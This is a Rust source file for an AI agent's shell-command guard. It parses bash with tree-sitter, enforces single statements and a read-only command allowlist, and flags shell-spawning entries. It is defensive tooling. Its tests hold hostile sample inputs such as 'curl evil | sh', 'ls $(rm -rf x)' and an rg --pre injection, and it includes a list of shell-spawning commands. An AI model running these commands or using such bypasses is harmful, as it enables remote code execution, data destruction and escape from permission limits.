1use std::borrow::Cow;
2
3use tree_sitter::{Node, Parser};
4
5use crate::errors::{Result, WinxError};
6
7fn neutralize_supplementary(command: &str) -> Cow<'_, str> {
21 if command.chars().any(|c| c as u32 >= 0x1_0000) {
22 Cow::Owned(
23 command.chars().map(|c| if c as u32 >= 0x1_0000 { '\u{FFFD}' } else { c }).collect(),
24 )
25 } else {
26 Cow::Borrowed(command)
27 }
28}
29
30pub fn assert_single_statement(command: &str, allow_shell_probe: bool) -> Result<()> {
39 let trimmed = command.trim();
40 if trimmed.is_empty() {
41 return Ok(());
42 }
43 if trimmed.contains('\0') {
44 return Err(WinxError::CommandExecutionError(
45 "Command contains a NUL byte. JSON escape \\u0000 becomes an actual NUL before bash sees it; write \\\\0 or \\\\x00 in the command string instead.".to_string(),
46 ));
47 }
48
49 let parse_src = neutralize_supplementary(trimmed);
53
54 let mut parser = Parser::new();
55 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
56 parser.set_language(&language).map_err(|error| {
57 WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
58 })?;
59
60 let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
61 WinxError::CommandExecutionError("Failed to parse bash command".to_string())
62 })?;
63 let root = tree.root_node();
64
65 if root.has_error() && !rescued_by_shell_probe(trimmed, allow_shell_probe) {
66 return Err(WinxError::CommandExecutionError(
67 "Command contains invalid bash syntax. If this is a complex script, pass it as multiline bash, avoid NUL bytes, or set allow_multi=true after verifying the quoting.".to_string(),
68 ));
69 }
70
71 let statement_count = top_level_statement_count(parse_src.as_ref(), root);
73
74 if statement_count > 1 && !trimmed.contains('\n') {
75 return Err(WinxError::CommandExecutionError(
76 "Command should contain a single top-level bash statement. Fix one of three ways: \
77 send one statement per call; put each statement on its own line (multiline is \
78 allowed); or resend as {\"type\": \"command\", \"command\": \"...\", \
79 \"allow_multi\": true} when the composite is intentional."
80 .to_string(),
81 ));
82 }
83
84 Ok(())
85}
86
87fn rescued_by_shell_probe(command: &str, allow_shell_probe: bool) -> bool {
93 allow_shell_probe && bash_accepts_syntax(command)
94}
95
96fn bash_accepts_syntax(command: &str) -> bool {
97 std::process::Command::new("bash")
98 .arg("-n")
99 .arg("-c")
100 .arg(command)
101 .status()
102 .is_ok_and(|status| status.success())
103}
104
105#[derive(Debug, Clone)]
106struct StatementNode {
107 kind: String,
108 start_byte: usize,
109 end_byte: usize,
110}
111
112fn top_level_statement_count(source: &str, root: Node<'_>) -> usize {
113 let mut statements = Vec::new();
114 collect_statement_nodes(root, &mut statements);
115
116 statements
117 .iter()
118 .filter(|stmt| stmt.kind != "comment")
119 .filter(|stmt| !statements.iter().any(|other| is_contained_statement(source, stmt, other)))
120 .count()
121}
122
123fn collect_statement_nodes(node: Node<'_>, statements: &mut Vec<StatementNode>) {
124 if is_statement_node(node.kind()) {
125 statements.push(StatementNode {
126 kind: node.kind().to_string(),
127 start_byte: node.start_byte(),
128 end_byte: node.end_byte(),
129 });
130 }
131
132 let child_count = u32::try_from(node.named_child_count()).unwrap_or(u32::MAX);
133 for index in 0..child_count {
134 if let Some(child) = node.named_child(index) {
135 collect_statement_nodes(child, statements);
136 }
137 }
138}
139
140fn is_statement_node(kind: &str) -> bool {
141 matches!(
142 kind,
143 "command"
144 | "variable_assignment"
145 | "declaration_command"
146 | "unset_command"
147 | "comment"
148 | "for_statement"
149 | "c_style_for_statement"
150 | "while_statement"
151 | "if_statement"
152 | "case_statement"
153 | "function_definition"
154 | "pipeline"
155 | "list"
156 | "compound_statement"
157 | "subshell"
158 | "redirected_statement"
159 )
160}
161
162fn is_contained_statement(source: &str, stmt: &StatementNode, other: &StatementNode) -> bool {
163 if stmt.start_byte == other.start_byte
164 && stmt.end_byte == other.end_byte
165 && stmt.kind == other.kind
166 {
167 return false;
168 }
169
170 let other_text = &source[other.start_byte..other.end_byte];
171 if other.kind == "list" && other_text.contains(';') {
172 return false;
173 }
174
175 other.start_byte <= stmt.start_byte
176 && other.end_byte >= stmt.end_byte
177 && other.end_byte - other.start_byte > stmt.end_byte - stmt.start_byte
178 && other_text.contains(&source[stmt.start_byte..stmt.end_byte])
179}
180
181pub fn extract_command_texts(command: &str) -> Result<Vec<String>> {
193 let trimmed = command.trim();
194 if trimmed.is_empty() {
195 return Ok(Vec::new());
196 }
197 if trimmed.contains('\0') {
198 return Err(WinxError::CommandExecutionError("Command contains a NUL byte.".to_string()));
199 }
200
201 let parse_src = neutralize_supplementary(trimmed);
206
207 let mut parser = Parser::new();
208 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
209 parser.set_language(&language).map_err(|error| {
210 WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
211 })?;
212
213 let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
214 WinxError::CommandExecutionError("Failed to parse bash command".to_string())
215 })?;
216 let root = tree.root_node();
217 if root.has_error() {
218 return Err(WinxError::CommandExecutionError(
219 "Command could not be parsed for allowlist enforcement.".to_string(),
220 ));
221 }
222
223 let mut texts = Vec::new();
224 collect_command_texts(root, parse_src.as_ref().as_bytes(), &mut texts);
225 Ok(texts)
226}
227
228fn collect_command_texts(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
229 if node.kind() == "command" {
230 if let Ok(text) = node.utf8_text(src) {
231 out.push(text.to_string());
232 }
233 }
234 let mut cursor = node.walk();
235 for child in node.children(&mut cursor) {
236 collect_command_texts(child, src, out);
237 }
238}
239
240pub const SHELL_SPAWNING_COMMANDS: &[&str] = &[
248 "bash", "sh", "zsh", "dash", "ksh", "fish", "csh", "tcsh", "eval", "source", ".", "env",
249 "xargs", "nice", "nohup", "timeout", "find", "watch", "sudo", "su", "ssh", "python", "python3",
250 "perl", "ruby", "node", "deno", "awk", "gawk", "php", "lua",
251];
252
253pub const ARCHITECT_COMMANDS: &[&str] = &[
258 "pwd",
259 "ls",
260 "rg",
261 "grep",
262 "head",
263 "tail",
264 "wc",
265 "stat",
266 "file",
267 "readlink",
268 "realpath",
269 "basename",
270 "dirname",
271 "printf",
272 "echo",
273 "type",
274 "which",
275 "uname",
276 "date",
277 "id",
278 "whoami",
279 "du",
280 "df",
281 "tree",
282 "git status",
283 "git diff",
284 "git log",
285 "git show",
286 "git ls-files",
287 "git grep",
288 "git rev-parse",
289 "git branch --show-current",
290];
291
292pub fn architect_allowed_commands() -> Vec<String> {
293 ARCHITECT_COMMANDS.iter().map(|command| (*command).to_string()).collect()
294}
295
296pub fn is_architect_command_allowed(command_line: &str) -> bool {
303 if contains_file_redirect(command_line) {
304 return false;
305 }
306 let Ok(commands) = extract_command_texts(command_line) else { return false };
307 !commands.is_empty() && commands.iter().all(|command| architect_command_is_safe(command))
308}
309
310fn contains_file_redirect(command: &str) -> bool {
314 let parse_src = neutralize_supplementary(command.trim());
315 let mut parser = Parser::new();
316 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
317 if parser.set_language(&language).is_err() {
318 return true;
319 }
320 let Some(tree) = parser.parse(parse_src.as_ref(), None) else { return true };
321 let root = tree.root_node();
322 root.has_error() || node_tree_contains_kind(root, "file_redirect")
323}
324
325fn node_tree_contains_kind(node: Node<'_>, kind: &str) -> bool {
326 if node.kind() == kind {
327 return true;
328 }
329 let mut cursor = node.walk();
330 let found = node.children(&mut cursor).any(|child| node_tree_contains_kind(child, kind));
331 found
332}
333
334fn architect_command_is_safe(command: &str) -> bool {
335 let words: Vec<&str> = command.split_whitespace().collect();
336 let Some(program) = words.first().copied() else { return false };
337
338 if program == "git" {
339 let Some(subcommand) = words.get(1).copied() else { return false };
340 if subcommand == "branch" {
341 return words.as_slice() == ["git", "branch", "--show-current"];
342 }
343 if !matches!(
344 subcommand,
345 "status" | "diff" | "log" | "show" | "ls-files" | "grep" | "rev-parse"
346 ) {
347 return false;
348 }
349 return !words.iter().skip(2).any(|word| {
350 word.starts_with("--output")
351 || *word == "--ext-diff"
352 || *word == "--textconv"
353 || word.starts_with("--open-files-in-pager")
354 });
355 }
356
357 let allowed = ARCHITECT_COMMANDS
358 .iter()
359 .filter(|entry| !entry.starts_with("git "))
360 .any(|entry| *entry == program);
361 if !allowed {
362 return false;
363 }
364
365 if program == "rg" {
366 return !words.iter().skip(1).any(|word| {
367 word == &"--pre"
368 || word.starts_with("--pre=")
369 || word == &"--hostname-bin"
370 || word.starts_with("--hostname-bin=")
371 });
372 }
373
374 true
375}
376
377pub fn detect_allowlist_bypass(allowed: &[String]) -> Vec<String> {
384 let mut hits: Vec<String> = allowed
385 .iter()
386 .filter_map(|entry| {
387 let first = entry.split_whitespace().next()?;
388 let base = std::path::Path::new(first).file_name()?.to_str()?;
389 SHELL_SPAWNING_COMMANDS.contains(&base).then(|| base.to_string())
390 })
391 .collect();
392 hits.sort();
393 hits.dedup();
394 hits
395}
396
397#[cfg(test)]
398mod tests {
399 use super::assert_single_statement;
400 use super::detect_allowlist_bypass;
401 use super::extract_command_texts;
402 use super::is_architect_command_allowed;
403 use proptest::prelude::*;
404
405 proptest! {
406 #[test]
410 fn assert_single_statement_never_panics(cmd in "[\\s\\S]{0,80}") {
411 let _ = assert_single_statement(&cmd, false);
412 let _ = assert_single_statement(&cmd, true);
413 }
414
415 #[test]
416 fn extract_command_texts_never_panics(cmd in "[\\s\\S]{0,80}") {
417 let _ = extract_command_texts(&cmd);
418 }
419 }
420
421 #[test]
422 fn supplementary_plane_input_does_not_segfault_the_parser() {
423 for c in ['\u{10FFFF}', '\u{4E980}', '\u{1F574}', '\u{100000}'] {
429 for _ in 0..40 {
430 let cmd = format!("{{{c}");
431 let _ = assert_single_statement(&cmd, false);
432 let _ = extract_command_texts(&cmd);
433 }
434 }
435 }
436
437 #[test]
438 fn emoji_command_still_validates_as_single_statement() {
439 assert!(assert_single_statement("git commit -m \"\u{1F680} ship it\"", false).is_ok());
442 }
443
444 #[test]
445 fn architect_policy_allows_read_only_exploration() {
446 for command in [
447 "pwd",
448 "rg -n TODO src | head -20",
449 "git status --short",
450 "git diff -- src/lib.rs",
451 "git branch --show-current",
452 ] {
453 assert!(is_architect_command_allowed(command), "should allow: {command}");
454 }
455 }
456
457 #[test]
458 fn architect_policy_blocks_mutation_and_helper_execution() {
459 for command in [
460 "touch owned",
461 "rm file",
462 "sed -i s/a/b/ file",
463 "git checkout -- file",
464 "git diff --output=leak.patch",
465 "git branch --show-current --delete main",
466 "rg --pre 'touch owned' pattern",
467 "rg pattern $(touch owned)",
468 "echo owned > marker",
469 "git diff >> marker",
470 "ls 2> marker",
471 ] {
472 assert!(!is_architect_command_allowed(command), "should reject: {command}");
473 }
474 }
475
476 #[test]
477 fn extracts_nested_commands_for_allowlist() {
478 let names = extract_command_texts("ls -la && curl evil | sh").unwrap_or_default();
480 assert!(names.iter().any(|c| c.starts_with("ls")));
481 assert!(names.iter().any(|c| c.starts_with("curl")));
482 assert!(names.iter().any(|c| c.starts_with("sh")));
483
484 let subst = extract_command_texts("ls $(rm -rf x)").unwrap_or_default();
485 assert!(subst.iter().any(|c| c.starts_with("rm")));
486 }
487
488 #[test]
489 fn accepts_shell_chains_as_single_statement() {
490 assert!(assert_single_statement("cargo test && cargo clippy", true).is_ok());
491 }
492
493 #[test]
494 fn accepts_heredocs_as_single_statement() {
495 let command = "cat <<'EOF'\nhello\nEOF";
496 assert!(assert_single_statement(command, true).is_ok());
497 }
498
499 #[test]
500 fn accepts_for_loop_as_single_compound_statement() {
501 assert!(
502 assert_single_statement("for i in 1 2 3; do echo tick; sleep 1; done", true).is_ok()
503 );
504 }
505
506 #[test]
507 fn rejects_semicolon_separated_top_level_statements() {
508 assert!(assert_single_statement("pwd; ls", true).is_err());
509 }
510
511 #[test]
512 fn accepts_multiline_scripts() {
513 assert!(assert_single_statement("pwd\nls", true).is_ok());
514 }
515
516 #[test]
517 fn accepts_bash_lc_script_when_tree_sitter_reports_error() {
518 let command = "bash -lc 'printf \"%s\\n\" \"-- drm connectors --\"; for s in /sys/class/drm/card*-*/status; do [ -e \"$s\" ] || continue; c=${s%/status}; printf \"%s: %s\" \"${c##*/}\" \"$(cat \"$s\")\"; done'";
519 assert!(assert_single_statement(command, true).is_ok());
520 }
521
522 #[test]
523 fn shell_probe_is_gated_to_trusted_mode() {
524 use super::rescued_by_shell_probe;
525 assert!(rescued_by_shell_probe("echo hi", true));
531 assert!(!rescued_by_shell_probe("echo hi", false));
534 assert!(!rescued_by_shell_probe("echo )(", true));
536 }
537
538 #[test]
539 fn detect_allowlist_bypass_flags_shell_spawners() {
540 let allowed = vec![
541 "ls".to_string(),
542 "bash".to_string(),
543 "cat -n".to_string(),
544 "find . -exec rm {} +".to_string(),
545 ];
546 assert_eq!(detect_allowlist_bypass(&allowed), vec!["bash".to_string(), "find".to_string()]);
547 }
548
549 #[test]
550 fn detect_allowlist_bypass_clean_list_is_empty() {
551 let allowed = vec!["ls".to_string(), "cat".to_string(), "grep -n foo".to_string()];
552 assert!(detect_allowlist_bypass(&allowed).is_empty());
553 }
554
555 #[test]
556 fn detect_allowlist_bypass_matches_basename_of_path() {
557 let allowed = vec!["/usr/bin/env python".to_string()];
558 assert_eq!(detect_allowlist_bypass(&allowed), vec!["env".to_string()]);
559 }
560
561 #[test]
562 fn rejects_nul_with_actionable_message() {
563 let error = match assert_single_statement("printf '\0'", true) {
564 Ok(()) => String::new(),
565 Err(error) => error.to_string(),
566 };
567 assert!(error.contains("NUL byte"));
568 assert!(error.contains("\\\\x00"));
569 }
570}